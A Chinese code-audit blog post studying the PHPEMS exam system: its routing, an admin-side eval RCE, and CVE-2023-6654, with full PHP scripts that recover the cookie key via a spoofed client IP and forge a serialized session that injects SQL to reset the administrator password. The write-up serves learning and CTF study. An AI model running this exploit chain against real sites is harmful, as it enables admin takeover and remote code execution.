代码审计初探
学会了基础的代码审计后,就该提高一下了,学一下一些框架的php代码审计
先从一些小众的、已知存在漏洞的cms入手
phpems php的一款开源考试系统
源码下载
https://down.chinaz.com/soft/34597.htm
环境部署
windows审计,把相关文件放到phpstudy的web目录下
给了一个sql文件,mysql创建一个数据库,在sql文件开始部分加上 use 数据库名。然后navicat或者其他图形化,运行所给sql文件,然后修改一下lib/config.inc.php中的关于数据库的设置就部署完毕

访问首页,正常显示就是ok(上面的输出是我自己在源码中加的)

正常调用
如果是做题的话,其实可以直接跳过这步,直接seay扫一下,看看可疑的地方,现在是练习,所以我可以捋一下正常的代码调用流程
以在前台查看内容为例

首先肯定要看web目录下的index.php
![[代码审计学习-4.png]]
包含了/lib/init.cls.php,lib目录下有很多实现功能的基本类, \PHPEMS\ginko 这个类就在这个php文件里,是这个框架的核心控制器,\PHPEMS是命名空间,
看看这个类的run方法
public function run() { //static public $defaultApp = 'core';self::$app = self::$defaultApp; $ev = self::make('ev'); if($ev->url(0)) { self::$app = $ev->url(0); } self::$module = $ev->url(1); self::$method = $ev->url(2); //要包含的文件,不指定默认先在/app/index里找 if(!self::$module)self::$module = 'app'; if(!self::$method)self::$method = 'index'; include PEPATH.'/app/'.self::$app.'/'.self::$module.'.php'; $modulefile = PEPATH.'/app/'.self::$app.'/controller/'.self::$method.'.'.self::$module.'.php'; echo "<br>"; echo "要包含的module文件:".$modulefile; // if(file_exists($modulefile)) { include $modulefile; $tpl = self::make('tpl'); //给tpl对象的$tpl_var数组属性赋值 $tpl->assign('_app',self::$app); $tpl->assign('method',self::$method); $run = new action();
// var_dump($run); $run->display(); } else die('error:Unknown app to load, the app is '.self::$app); }
defaultapp就是字符串core,调用了make('ev'),看看在干嘛
![[代码审计学习-5.png]]
$app若有设置,则调用load方法,加载配置文件,
//加载对象类文件并生成对象 /** * @param $G * @param null $app * @return static */ static public function load($G,$app)
{ if(!$app)return false; $o = $G.'_'.$app; //$L是空数组,第一次加载后就放入做为缓存,下次调用就直接从这里取,不用再去包含对应文件if(!isset(self::$L[$app][$o])) { $fl = PEPATH.'/app/'.$app.'/cls/'.$G.'.cls.php'; if(file_exists($fl)) { include $fl; } else return false; $clsname = '\\PHPEMS\\'.$o; self::$L[$app][$o] = new $clsname(); if(method_exists(self::$L[$app][$o],'_init'))self::$L[$app][$o]->_init(); } return self::$L[$app][$o];
}
审计一下可知,会先检查一下缓存数组是否有了对应的类,如有直接返回,没有的话,就会去包含对应的php文件,然后实例化对应的类,有__init方法就执行次方法
然后再回到make方法,看else分支,是不是跟load很像,
所以这里的逻辑就是如果指定了app,就包含对应的app的目录,没有就去包含lib下的比较基本的类
文件目录
![[代码审计学习-6.png]]
再回到run方法,调用了make('ev')->url(0),url在这个类的构造方法中设置了
public function __construct() { $this->strings = \PHPEMS\ginkgo::make('strings'); if (ini_get('magic_quotes_gpc')) { $get = $this->stripSlashes($_REQUEST); $post = $this->stripSlashes($_POST); $this->cookie = $this->stripSlashes($_COOKIE); } else { $get = $_REQUEST; $post = $_POST; $this->cookie = $_COOKIE; } $this->file = $_FILES; $this->get = $this->initData($get); $this->post = $this->initData($post); $this->url = $this->parseUrl(); $this->cookie = $this->initData($this->cookie); }
可以看到,这个ev类就是用来接受并预处理服务器接受到的全局变量,跟进parseUrl方法
public function parseUrl()
{ if(isset($_REQUEST['route'])) { $r = explode('-',$_REQUEST['route']); foreach($r as $key => $p) { $r[$key] = urlencode($p); } } elseif(isset($_SERVER['QUERY_STRING'])) { $tmp = explode('#',$_SERVER['QUERY_STRING'],2); $tp = explode('&',$tmp[0],2); $r = explode('-',$tp[0]); foreach($r as $key => $p) { $r[$key] = urlencode($p); } } else { return false; } if(!$r[0] || !file_exists('app/'.$r[0].'/')) { $r[0] = \PHPEMS\ginkgo::$defaultApp; } if(!file_exists('app/'.$r[0].'/'.$r[1].'.php') || $r[1] == 'auto') { $r[1] = 'app'; } if(!file_exists('app/'.$r[0].'/controller/'.$r[2].'.'.$r[1].'.php')) { $r[2] = 'index'; } if($r[1] == 'app' && $this->isMobile()) { $r[1] = 'phone'; } if(!$r[3])$r[3] = 'index'; if(substr($r[3],0,1) == '_')$r[3] = 'index'; echo "url解析结果:"."<br>"; var_dump($r); echo "\n"; return $r;
}
非常长,前面首页显示的改动就在这里
可以看到这是对$_REQUEST和$_SERVER['QUERY_STRING']的处理,前者是包含了get、post、cookie传的变量,后者是url中中的?后面的部分
对查询参数用# & -来分割(explode方法),我只访问了?content,因此得到的三个数组都是只有一个元素content
后面三个file_exist是判断有没有对应的模块,没有则设置成默认的,这里$r只有一个元素content,因此$r[1] $r[2] $r[3] 都被设置成了默认的选项
再回到run方法,这里就可以包含到对应的文件了

包含了之后,实例化tpl这类,这个类就是用来渲染前端的页面的

所以这个要加载什么类,是通过对查询参数的分割来确定的,然后用tpl渲染对应的前端
漏洞代码
后台rce
后台存在rce的漏洞,seay很快就扫到漏洞点
public function _init()
{ $this->sql = \PHPEMS\ginkgo::make('sql'); $this->pdosql = \PHPEMS\ginkgo::make('pdosql'); $this->db = \PHPEMS\ginkgo::make('pepdo'); $this->tpl = \PHPEMS\ginkgo::make('tpl'); $this->pg = \PHPEMS\ginkgo::make('pg'); $this->ev = \PHPEMS\ginkgo::make('ev'); $this->files = \PHPEMS\ginkgo::make('files'); $this->category = \PHPEMS\ginkgo::make('category'); $this->content = \PHPEMS\ginkgo::make('content','content'); //block$this->block = \PHPEMS\ginkgo::make('block','content'); $this->tpl_var = &$this->tpl->tpl_var;
}public function parseBlock($blockid) { $block = $this->block->getBlockById($blockid); if($block['blocktype'] == 1) { echo html_entity_decode($block['blockcontent']['content']); } elseif($block['blocktype'] == 2) { if($block['blockcontent']['app'] == 'content') { $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']); $blockdata = $this->_getBlockContentList($args); $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template']))); $blockcat = $this->category->getCategoryById($block['blockcontent']['catid']); $blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); } else { $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']); $obj = \PHPEMS\ginkgo::make('api',$block['blockcontent']['app']); if(method_exists($obj,'parseBlock')) $blockdata = $obj->parseBlock($args); else return false; } return true; } elseif($block['blocktype'] == 3) { if($block['blockcontent']['sql']) { $sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql'])); } else { $tables = array_filter(explode(',',$block['blockcontent']['dbtable'])); $querys = array_filter(explode("\n",str_replace("\r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query']))))); $args = array(); foreach($querys as $p) { $a = explode('|',$p); if($a[3]) { if($a[3][0] == '$') { $s = stripos($a[3],'['); $k = substr($a[3],1,$s-1); $v = substr($a[3],$s,(strlen($a[3]) - $s)); $execode = "\$a[3] = \"{\$this->tpl_var['$k']$v}\";"; } else { $k = substr($a[3],2,(strlen($a[3]) - 2)); $execode = "\$a[3] = \"{\$$k}\";"; } eval($execode); } $args[] = $a; } $data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']); $sql = $this->pdosql->makeSelect($data); } $blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false); $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); return true; } elseif($block['blocktype'] == 4) { $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); } else return false; }
}
parseBlock这个函数,当blocktype为2 3 4时,都有存在eval来执行$tp,先找$tp是如何获取的,这里以4为例子分析(偷懒),其他的原理也都差不多,有兴趣的可以自己去分析
前面也提到ev是处理全局变量的,定位stripSlashes方法

注释中提到了,这个方法用来去除转义字符\,而html_entity_decode是php内置函数把 HTML 实体转换为字符
传入的数据是$block['blockcontent']['content'],block是$this->block->getBlockById获取的,block是make('block','content')加载的类
来看看这个make方法

这一次指定了app,所以会调用load方法,看一下

跟上面的正常调用差不多,包含对应的文件,然后生成这个类,这里$o=block_content,包含了/app/content/cls/block.cls.php,block_content类应该也在这里了,去看看
确实在这里,同时发现了getBlockById方法

可以看出,blockcotent是从数据库中取出的,在数据库中也有个x2_block表

blockcontent一看就是序列化的内容,在$this->db->fetch中,也有反序列化的操作
public function fetch($sql,$unserialize = false) { if(!is_array($sql))return false; if(!$this->linkid)$this->connect(); $query = $this->linkid->prepare($sql['sql']); $rs = $query->execute($sql['v']); $this->_log($sql,$query); if ($rs) { $query->setFetchMode(\PDO::FETCH_ASSOC); $tmp = $query->fetch(); if($tmp) { if($unserialize) { if(is_array($unserialize)) { foreach($unserialize as $value) { $tmp[$value] = unserialize($tmp[$value]); } } else $tmp[$unserialize] = unserialize($tmp[$unserialize]); } } return $tmp;
}
else
return false; }
makeselect就是构造查询的sql语句,有兴趣的可以自己去跟一下
所以这个$tp的内容就是从数据库中取出的,用id参数查询
再来看,这个在parseBlock在哪调用, /lib/tpl.cls.php中(管理渲染前端的自定义基本类),
public function exeBlock($id)
{ \PHPEMS\ginkgo::make('api','content')->parseBlock($id);
}
找exeBlock,在渲染前端注册的页面中调用了,

但是这里传入的id是1,由上面的代码可知,1只是echo输出,2,3,4才有eval
很巧的是,/app/content那里翻了一下,在/controller/block.master.php中,有个change方法可以改id
private function change()
{ $blockid = $this->ev->get('blockid'); $blocktype = $this->ev->get('blocktype'); $this->block->modifyBlock($blockid,array('blocktype' => $blocktype)); $message = array( 'statusCode' => 200, "message" => "操作成功", "target" => "", "rel" => "", "callbackType" => "forward", "forwardUrl" => "index.php?content-master-blocks&page={$page}" ); exit(json_encode($message));
}
在这个系统,跟master相关就是后台管理相关的功能了,
在后台的内容管理找到了这个功能

这里改成最下面的模板模式,blockid为4,就会走到上面分析的流程,然后点击修改,插入php代码即可
![[代码审计学习-17.png]]
有个小细节,就是 那个eval中,除了$tp后面还加上了个<?php namespace PHPEMS;,那我们构造的php代码中也要在开头声明一个namespace,
php规范中,如果有namespace声明,必须在开头就有一个,否在会报错

然后保存,去前台注册就发现命令执行成功

其实这个rce漏洞要后台才能触发,危害也不是很大,毕竟这个后台还有个增加文件上传后缀的功能,增加个php,直接传shell都行
毕竟正常情况后台都不好进
但是上网搜索过这个框架后,发现这个管理员的密码是可以通过反序列化打sql注入修改的(CVE-2023-6654),就可以直接进后台,这就扩大了危害,
西湖论剑2024也考了这个cve,接下来就分析分析
前台修改管理员密码
触发反序列化
前面我在看正常调用时就发现cookie鉴权这里有反序列化点的,还想找pop链rce来着,但失败了,没想到可以打sql注入
用于会话管理、鉴权的是session类,php文件是/lib/session.cls.php,在构造方法中就调用了getSessionId,其他模块的构造方法中都会实例化这个类
所以getSessionId是很容易触发的

public function getSessionId()
{ if(!$this->sessionid) { $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname)); if($cookie) { $this->sessionid = $cookie['sessionid']; } } if(!$this->sessionid) { $this->_getOnlySessionid(); $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp())); } if(!$this->getSessionValue()) { $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp())); } return $this->sessionid;
}
getSessionId这里对cookie中获取的信息,进行解密,然后反序列化
因此cookie中存储的是序列化后的数据
public function decode($info)
{ $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info;
}
反序列化很容易触发,现在要来看怎么造成sql注入
sql注入
全局搜索__destruct
在session类中
public function __destruct()
{ $data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid))); $sql = $this->pdosql->makeUpdate($data); $this->db->exec($sql); if(rand(0,5) > 4) { $data = array('session',array(array('AND',"sessionlasttime <= :sessionlasttime","sessionlasttime",intval((TIME - 3600*24*3))))); $sql = $this->pdosql->makeDelete($data); $this->db->exec($sql); }
}
这里会makeupdate,顾名思义构造一个update的sql语句,然后exec中,跟进makeupdate看看
public function makeUpdate($args,$tablepre = NULL)
{ if(!is_array($args))return false; if($tablepre === NULL)$tb_pre = $this->tablepre; else $tb_pre = $tablepre; $tables = $args[0]; $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]); if(is_array($tables)) { $db_tables = array(); foreach($tables as $p) { $db_tables[] = "{$tb_pre}{$p} AS $p"; } $db_tables = implode(',',$db_tables); } else $db_tables = $tb_pre.$tables; $v = array(); $pars = $args[1]; if(!is_array($pars))return false; $parsql = array(); foreach($pars as $key => $value) { $parsql[] = $key.' = '.':'.$key; if(is_array($value))$value = serialize($value); $v[$key] = $value; } $parsql = implode(',',$parsql); $query = $args[2]; if(!is_array($query))$db_query = 1; else { $q = array(); foreach($query as $p) { $q[] = $p[0].' '.$p[1].' '; if(isset($p[2])) $v[$p[2]] = $p[3]; } $db_query = '1 '.implode(' ',$q); } if(isset($args[3])) $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3]; else $db_groups = ''; if(isset($args[4])) $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4]; else $db_orders = ''; if(isset($args[5])) $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5]; else $db_limits = ''; if($db_limits == false && $db_limits !== false)$db_limits = $this->_mostlimits; $db_groups = $db_groups?' GROUP BY '.$db_groups:''; $db_orders = $db_orders?' ORDER BY '.$db_orders:''; $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits; return array('sql' => $sql, 'v' => $v);
}
前面的一长串的构造参数的过程,最后拼接到$sql这查询语句中,看到直接拼接难道直接有sql注入?其实并没有。上面传进去的参数中
$data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));
参数使用了sessionid = :sessionid,这在pdosql中就是预编译的写法,那咋还能注入呢?
非常的巧妙,大佬们找到了其他注入的地方,
在构造表名$db_tables和类的属性$this->tablepre直接进行了拼接,这里并没有预编译,如果我们能控制反序列化的过程,那不就可以设置这个属性吗,直接设置为
x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--
拼接进去就是
update x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--(其他参数)
这不就把管理员密码改了吗,
本地搭建项目,就可知这个框架的密码加密就是md5,因此这里设置为123456的md5就行
但是前面也提到了,这个cookie是加密的,反序列化前要经过一次解密操作,我们要把这个加密的逻辑搞清楚才行
逆向cookie加密的key
在/lib/string.cls.php中,查看encode和decode代码
public function encode($info)
{ $info = serialize($info); $key = CS; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info);
} public function decode($info)
{ $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info;
}
可以看到,加密的逻辑很简单,循环加上key的ascii码再用chr取字符,然后url编码,解密就是循环减,这key的定义在配置文件config.inc.php中

这里也提示了,要生成32位的字符串来替换key,如果能找到已知的连续32位的密文,再减去对应位置的32位明文,key不就出了么
因此要寻找cookie里我们可以控制的变量,从而控制某一部分32位的明文
先要用本地的key解密一下cookie看看,序列化数据结构是什么样,(这个cookie是未登录的cookie)

这里二次url编码的,所以解密时还要再url解码一次
<?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');function encode($info)
{$info = serialize($info);$key = CS;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);
}function decode($info)
{$key = CS;$info = urldecode($info);$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}
// $info = unserialize($info);return $info;
}
$cookie="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%2586%2583%25C3%2598%2594%2599%25D5%25CB%25A8%259C%25DA%259F%25C6%25AA%2585%25AD%25D7%259C%25A9%25A2%25B5%25A9r%259Ag%25A6%25D3%259AR%25DF%25A8%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25AC%257C%2597%2584%257B%2591jj%25A3%25EE";echo decode(urldecode($cookie));
//a:8:a:3:{s:9:"sessionid";s:32:"658ebc1de0ff6c335c639a99f70e31fe";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1739930349;}
可以看到没登陆的cookie数据设置,有sessionid sessionip sessiontimelimit 三个字段,审计一下session类,发现只有第二个sessionip是可以控制伪造的
sessionid 是一堆参数(还包含了随机数)的md5

sessiontimelimit是时间戳,TIME在config.inc.php中定义为time()

sessionip

跟进这个方法
public function getClientIp()
{ if(!isset($this->e['ip'])) { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; $this->e['ip'] = $ip; } return $this->e['ip'];
}
REMOTE_ADDR是伪造不了的,但是它先检测HTTP_CLIENT_IP,以HTTP开头都是可以伪造的,在http报文中加入相应的键值对即可,比如HTTP_CLIENT_IP就构造CLIENT-IP,可以本地试试,在decode那里加上 echo $info

伪造成功,所以可以通过部分的已知明文来推key,选取序列化中表示sessionip的部分(32位)
由于前后的数据部分长度都是固定的,所以可以通过下标来动态截取满足32位的长度
<?php
function reverse($payload1,$payload2)
{ $il = strlen($payload1); $key= ""; $kl = 32; for($i = 0; $i <$kl; $i++) { $p = $i%$kl; $key .= chr(ord($payload1[$i])-ord($payload2[$p])); } return $key;
}
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2595%25B4%2581%2596f%2594%25CA%25A7%259F%25ADk%25D8%259B%25C6%25DD%25B8%25D9%25A6%25C9%25AC%259E%2584%25A8%259Af%2596%25D8%25A4%259E%2587%25ACx%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%259A%2589%25AA%255Bei%25A8%259C%2598W%25B1q%258F%2589%257F%258Cgf%2598%2593%25A1%25EBp%25A5%259F%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25E4%25A2%25A1%2595%25E2%25D7%25D4%258A%25EDe%2599%25BA%2585%258Fmd%25A1%25AA%2599%25AAk%25AA%25A2%259E%25F4";
$info = urldecode($info);
$info = urldecode($info);
$know=':"sessionip";s:15:"192.168.184.1';
//
$info = substr($info,64,32);
echo reverse($info,$know);
成功把本地的key推了出来

把这个框架放到我虚拟机上,改一下key,看能不能推出来,部署过程跟上面一致,也是访问首页拿没登陆的cookie
然后用脚本推key
<?php
function reverse($payload1,$payload2)
{ $il = strlen($payload1); $key= ""; $kl = 32; for($i = 0; $i <$kl; $i++) { $p = $i%$kl; $key .= chr(ord($payload1[$i])-ord($payload2[$p])); } return $key;
}
//利用伪造的ip,来构造已知的明文
function get_know($ip='127.0.0.1')
{ $pre=':"sessionip";s:'; $end='";s:16:"sessiontimelimit";i:'; $pre=$pre.strlen($ip).':"'.$ip; if(strlen($pre)>32) { return substr($pre,0,32); } if (strlen($pre)<32) { $target = $pre . substr($end, 0, 32 - strlen($pre)); return $target; } return $pre; } $info="%2599%259D%2598r%25E1%25AArinT%25D7%25CA%25A4%25A4%25CA%25D5%25CF%259C%2596Vt%25A4sd%2595p%2586q%259Bk%2591%2594m%2594%259E%259E%25CA%2598%259Bff%2596%25C6%2598%2594a%2593%2599%2592%2595kmr%2594ii%2595%2597%259BZ%259D%25A9j%259Dr%2585%25D8%259D%25D9%25AA%25A1%259F%25A2%259B%25D4%2587l%25A4%259B%259F%259BUcfp_i_%2593d%2595Z%259D%25A9j%2595n%259D%2587%25AB%25CB%25AA%25AB%2599%25A3%25A0%25D8%25CE%259E%2596%25CD%25CF%25CE%259C%25A6Vt%259Asb%259Ai%259Dq%2596fa%2597i%259E%25E2";
$info = urldecode($info);
$info = urldecode($info);
$know=get_know();
截取序列化字符串密文中关于sessionip的内容(前开的sessionid长度固定,所以可以直接通过下标截取)
$info = substr($info,64,32);
echo reverse($info,$know);


也是逆出来了
构造恶意序列化数据
然后利用这个key,去构造恶意的序列化数据,看看有什么属性要设置,确保反序列化过程可以走通就行
<?php
namespace PHPEMS;class session
{public function __construct(){$this->sessionid='1';$this->pdosql=new pdosql();$this->db=new pepdo();}
}class pdosql
{public function __construct(){$this->tablepre='x2_user set userpassword="202cb962ac59075b964b07152d234b70" where username="peadmin";#--';$this->db=new pepdo();}}class pepdo
{private $linkid=0;
}
function encode($info)
{$info = serialize($info);$key = '8ce8f78042de11afa3249191c6d8b60d';$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode(urlencode($info));
}
$a=new session();
$exp=array("sessionid"=>"123123",$a);
echo "\n";
echo encode(($exp));
管理员密码修改成功

就可以进后台rce了
相关文章:
代码审计初探
学会了基础的代码审计后,就该提高一下了,学一下一些框架的php代码审计 先从一些小众的、已知存在漏洞的cms入手 phpems php的一款开源考试系统 源码下载 https://down.chinaz.com/soft/34597.htm 环境部署 windows审计,把相关文件放到phps…...
Spring面试题2
1、compareable和compactor区别 定义与包位置:Comparable是一个接口,位于java.lang包,需要类去实现接口;而Compactor是一个外部比较器,位于java.util包 用法:Comparable只需要实现int compareTo(T o) 方法,比较当前对…...
Linux 权限系统和软件安装(二):深入理解 Linux 权限系统
在 Linux 的世界里,权限系统犹如一位忠诚的卫士,严密守护着系统中的文件与目录,确保只有具备相应权限的用户才能进行操作。与其他一些操作系统不同,Linux 并不依据文件后缀名来标识文件的操作权限,而是构建了一套独特且…...
二:前端发送POST请求,后端获取数据
接着一:可以通过端口访问公网IP之后 二需要实现:点击飞书多维表格中的按钮,向服务器发送HTTP请求,并执行脚本程序 向服务器发送HTTP请求: 发送请求需要明确一下几个点 请求方法: 由于是向服务器端发送值…...
单机上使用docker搭建minio集群
单机上使用docker搭建minio集群 1.集群安装1.1前提条件1.2步骤指南1.2.1安装 Docker 和 Docker Compose(如果尚未安装)1.2.2编写docker-compose文件1.2.3启动1.2.4访问 2.使用2.1 mc客户端安装2.2创建一个连接2.3简单使用下 这里在ubuntu上单机安装一个m…...
安全生产月安全知识竞赛主持稿串词
女:尊敬的各位领导、各位来宾 男:各位参赛选手、观众朋友们 合:大家好~ 女:安全是天,有了这一份天,我们的员工就会多一份幸福, 我们的企业就会多一丝光彩。 男:安全是地,有了这一片地,我们的员工就多了一…...
C++的设计模式
1. 创建型模式 单例模式 (Singleton) 意图:确保类仅有一个实例,并提供全局访问点。(常见的日志类)实现:class Singleton { private:static Singleton* instance;Singleton() {} // 私有构造函数 public:static Singl…...
C++手撕AVL树
C手撕AVL树 1、AVL树的概念2、AVL树的结构3、AVL树的插入3.1、大概过程3.2、更新平衡因子3.3、更新平衡因子代码3.4、左单旋3.5、右单旋3.6、右左双旋3.7、左右双旋 4、AVL树的删除5、AVL树的查找6、AVL树的平衡检测7、AVL树的其他函数完整代码 1、AVL树的概念 二叉搜索树虽可…...
写大论文的word版本格式整理,实现自动生成目录、参考文献序号、公式序号、图表序号
前情提要:最近开始写大论文,发现由于内容很多导致用老方法一个一个改的话超级麻烦,需要批量自动化处理,尤其是序号,在不断有增添删减的情况时序号手动调整很慢也容易出错,所以搞一个格式总结,记…...
Redission可重试、超时续约的实现原理(源码分析)
Redission遇到其他进程已经占用资源的时候会在指定时间waitTime内进行重试。实现过程如下: 执行获取锁的lua脚本时,会返回一个值, 如果获取锁成功,返回nil,也就是java里的null 如果获取锁失败,用语句“PT…...
java八股文-消息队列
一、MQ基础篇 1. 什么是消息队列? 消息队列(MQ)是分布式系统中实现异步通信的中间件,解耦生产者和消费者。 2. 使用场景有哪些? 异步处理(如注册后发送邮件)系统解耦(不同服务通过…...
3分钟idea接入deepseek
DeepSeek简介 DeepSeek 是杭州深度求索人工智能基础技术研究有限公司开发的一系列大语言模型,背后是知名量化资管巨头幻方量化3。它专注于开发先进的大语言模型和相关技术,拥有多个版本的模型,如 DeepSeek-LLM、DeepSeek-V2、DeepSeek-V3 等&…...
【DeepSeek与鸿蒙HarmonyOS:开启应用开发新次元】
引言:科技融合的新曙光 在当今数字化浪潮中,DeepSeek 和鸿蒙 HarmonyOS 宛如两颗璀璨的明星,各自在人工智能和操作系统领域熠熠生辉。DeepSeek 以其强大的大模型能力,在自然语言处理、代码生成等多个领域展现出卓越的性能&#x…...
基于光度立体视觉的三维重建方法
基于光度立体视觉的三维重建方法 一、三维重建概述二、光度立体原理简介三、Halcon:光度立体实验1.四张测试原图2.结果图3.Halcon实验代码 四、相关参考 光度立体视觉通过多角度的光源激励,获取多个不同光照方向下的表面图像,从中重建表面法向࿰…...
在VSCode中接入deepseek
注册就送14元2000万tokens。 https://cloud.siliconflow.cn/i/rnbA6i6U各种大模型 下面介绍我是如如接入vscode的 左边生成一个key,呆会vscode要用,不然401. 打开vscod,电脑能上网。下插件。 下好要配置 点它一下。 要配置,全…...
DeepSeek掘金——VSCode 接入DeepSeek V3大模型,附使用说明
VSCode 接入DeepSeek V3大模型,附使用说明 由于近期 DeepSeek 使用人数激增,服务器压力较大,官网已 暂停充值入口 ,且接口响应也开始不稳定,建议使用第三方部署的 DeepSeek,如 硅基流动 或者使用其他模型/插件,如 豆包免费AI插件 MarsCode、阿里免费AI插件 TONGYI Lin…...
申请SSL证书,如何完成域名验证
一、前言 给大家分享一下Lets Encrypt 证书申请时,如何完成域名验证这一步操作的方法。 二、为什么要进行域名验证 申请SSL证书时进行域名验证的主要原因是确保证书只颁发给有权控制特定域名的实体。这是为了保证互联网的安全性和信任,防止恶意方获取不…...
HTTP实验(ENSP模拟器实现)
HTTP概述 HTTP(HyperText Transfer Protocol,超文本传输协议),设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。 HTTP定义了多种请求方法,常用的包括: GET:请求资源。 POST&…...
AI工具评论
deepseek(一系列接入R1的工具如:元宝、纳米、C知道、qq浏览器、百度AI、小艺...,应该都是R1满血版吧...) kimi 豆包 ------ chatGPT Grok3 cursor github copilot https://zhuanlan.zhihu.com/p/21161495794https://zhuan…...
comfy UI节点缺失dlib库处理
安装出现dlib错误: [!] ERROR: Failed building wheel for dlib Failed to build dlib 依赖环境:python3.12 comfyui 最新版本 pip install dlib 出现错误 直接下代码编译 编译为:dlib-19.24.99-cp312-cp312-win_amd64.whl 下载地址&am…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...
2024年赣州旅游投资集团社会招聘笔试真
2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...
渲染学进阶内容——模型
最近在写模组的时候发现渲染器里面离不开模型的定义,在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容,其实不管是方块还是方块实体,都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器,用于动态创…...
现代密码学 | 椭圆曲线密码学—附py代码
